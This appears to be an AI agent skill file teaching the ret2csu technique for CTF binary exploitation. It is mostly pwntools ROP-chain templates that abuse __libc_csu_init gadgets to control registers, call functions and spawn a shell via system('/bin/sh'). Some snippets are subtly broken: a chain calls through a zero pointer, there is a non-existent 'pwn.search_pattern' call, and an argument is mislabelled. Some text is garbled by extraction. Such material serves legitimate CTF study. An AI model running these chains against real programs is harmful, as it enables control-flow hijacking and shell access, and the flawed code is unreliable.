Hacktricks-skills ret2csu-exploitation
Use this skill whenever you're working on binary exploitation challenges involving ROP chains, especially when you need to set up function call parameters or can't find standard gadgets. Trigger on mentions of ret2csu, __libc_csu_init, ROP chain construction, binary exploitation, CTF challenges with stack overflows, or when you need to control multiple registers for function calls. This skill helps you exploit the __libc_csu_init gadgets to set registers and call functions even when traditional gadgets are unavailable.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/rop-return-oriented-programing/ret2csu/SKILL.MDRet2CSU Exploitation
This skill helps you exploit the ret2csu technique, which uses gadgets from
__libc_csu_init to set up function call parameters when traditional ROP gadgets are unavailable.
When to Use This Skill
Use this skill when:
- You're solving a binary exploitation challenge with a stack overflow
- You need to call a function with specific parameters but can't find gadgets to set registers
- You've identified
in the binary and want to leverage it__libc_csu_init - You're working on CTF challenges involving ROP chains
- You need to control multiple registers (rdi, rsi, rdx) for function calls
Core Concept
The
__libc_csu_init function contains two powerful gadgets:
Gadget 1: Register Setup
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
This lets you set values in rbx, rbp, r12, r13, r14, r15 by popping from the stack.
Gadget 2: Parameter Setup + Call
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8];
This moves values into rdx, rsi, edi (function parameters) and calls a function at
[r12 + rbx*8].
Finding the Gadgets
Method 1: Using GEF/PEDA
# In GDB with GEF gef➤ search-pattern 0x400560 # Search for pointer to known function gef➤ x/10i __libc_csu_init # Disassemble to find gadgets
Method 2: Using pwn
from pwn import * elf = ELF('./binary') # Common offsets in __libc_csu_init # These vary by compiler, so verify with your binary pop_chain = elf.symbols['__libc_csu_init'] + 0x124 # pop r12-r15, ret reg_call = elf.symbols['__libc_csu_init'] + 0x108 # movs + call
Method 3: Using the Helper Script
python scripts/find_ret2csu_gadgets.py ./binary
Common Exploitation Patterns
Pattern 1: Call a Function with Parameters
Use this when you need to call a function like
write(1, buf, len) or system("cmd").
from pwn import * elf = ELF('./vuln') p = process() # Find gadget addresses (adjust for your binary) POP_CHAIN = 0x401224 # pop r12, r13, r14, r15, ret REG_CALL = 0x401208 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12 + rbx*8] # Build ROP chain rop = ROP(elf) rop.raw('A' * 40) # Padding to overwrite return address # First gadget: set up registers rop.raw(POP_CHAIN) rop.raw(0) # r12 (will be used in [r12 + rbx*8]) rop.raw(0) # r13 (becomes edi - 1st param) rop.raw(0xdeadbeef) # r14 (becomes rsi - 2nd param) rop.raw(0xcafebabe) # r15 (becomes rdx - 3rd param) # Second gadget: move params and call rop.raw(REG_CALL) p.sendlineafter(b'>', rop.chain())
Pattern 2: Bypass the Call and Reach ret
retUse this when you just need to set registers and return, not call a function.
from pwn import * elf = ELF('./vuln') p = process() csuGadget0 = 0x40089a # pop rbx, rbp, r12, r13, r14, r15, ret csuGadget1 = 0x400880 # movs + call + add rbx + cmp + jnz + ret # Find a pointer to a callable function (like _init) initPtr = 0x600e38 # Address containing pointer to _init payload = b'A' * 0x28 # Padding to return address # First gadget payload += p64(csuGadget0) payload += p64(0x0) # RBX payload += p64(0x1) # RBP (must equal RBX+1 to skip jnz) payload += p64(initPtr) # R12 (pointer to function address) payload += p64(0xf) # R13 payload += p64(0xf) # R14 payload += p64(0xdead) # R15 (becomes RDX) # Second gadget - bypass conditions payload += p64(csuGadget1) payload += p64(0xf) # qword for ADD RSP payload += p64(0x1) # RBX (must equal RBP to skip jnz) payload += p64(0x1) # RBP payload += p64(0xf) # R12 payload += p64(0xf) # R13 payload += p64(0xf) # R14 payload += p64(0xf) # R15 # Final return address payload += p64(elf.sym['win']) p.sendline(payload)
Pattern 3: Call libc Functions
Use this when you need to call
system(), write(), or other libc functions.
from pwn import * elf = ELF('./vuln') libc = ELF('./libc.so.6') p = process() # Find gadgets POP_CHAIN = 0x401224 REG_CALL = 0x401208 # Find pointer to system in memory system_addr = libc.symbols['system'] search_result = pwn.search_pattern(system_addr) # Use helper script rop = ROP(elf) rop.raw('A' * 40) # Set up for system("/bin/sh") rop.raw(POP_CHAIN) rop.raw(0) # r12 rop.raw(0) # r13 (edi - 1st param: "/bin/sh") rop.raw(0) # r14 (rsi - 2nd param: NULL) rop.raw(0) # r15 (rdx - 3rd param: NULL) rop.raw(REG_CALL) # Chain to actual system call rop.system('/bin/sh') p.sendlineafter(b'>', rop.chain()) p.interactive()
Key Conditions to Remember
For the Call Pattern:
must point to a callable function address[r12 + rbx*8]- If you don't know an address, search for a pointer to
or another known function_init
For the Bypass Pattern:
andrbp
must have the same value to avoid therbx
jumpjnz- Account for the
instruction in the second gadgetadd rbx, 0x1 - There are omitted pops you need to account for in the stack
Debugging Tips
Verify Gadget Addresses
# In GDB gef➤ x/20i __libc_csu_init # Look for the pop sequence and the mov/call sequence
Check Register Values
# In GDB, set breakpoint before gadget execution gef➤ break *0x401208 gef➤ info registers # Verify r12, r13, r14, r15 have expected values
Search for Function Pointers
# Find where a function address is stored in memory gef➤ search-pattern 0x400560 # Address of _init or other function # Use the found address as r12 value
Common Pitfalls
-
Wrong gadget offsets: Gadget addresses vary by compiler and binary. Always verify with your specific binary.
-
Missing padding: Account for all padding between input and return address.
-
Register order: Remember the order: rbx, rbp, r12, r13, r14, r15 (not alphabetical!)
-
PIE binaries: If PIE is enabled, you'll need to leak an address first to calculate gadget addresses.
-
Stack alignment: Some functions require 16-byte stack alignment. Add padding if needed.
Helper Scripts
Find Gadgets
python scripts/find_ret2csu_gadgets.py ./binary
Build ROP Chain
python scripts/build_ret2csu_chain.py --binary ./binary --function write --args "1,0x601000,0x20"
Next Steps
- Find the gadgets in your binary using the methods above
- Determine your goal: call a function, set registers, or both?
- Choose the pattern that matches your goal
- Build the ROP chain with correct padding and register values
- Test and debug using GDB
- Iterate if the exploit doesn't work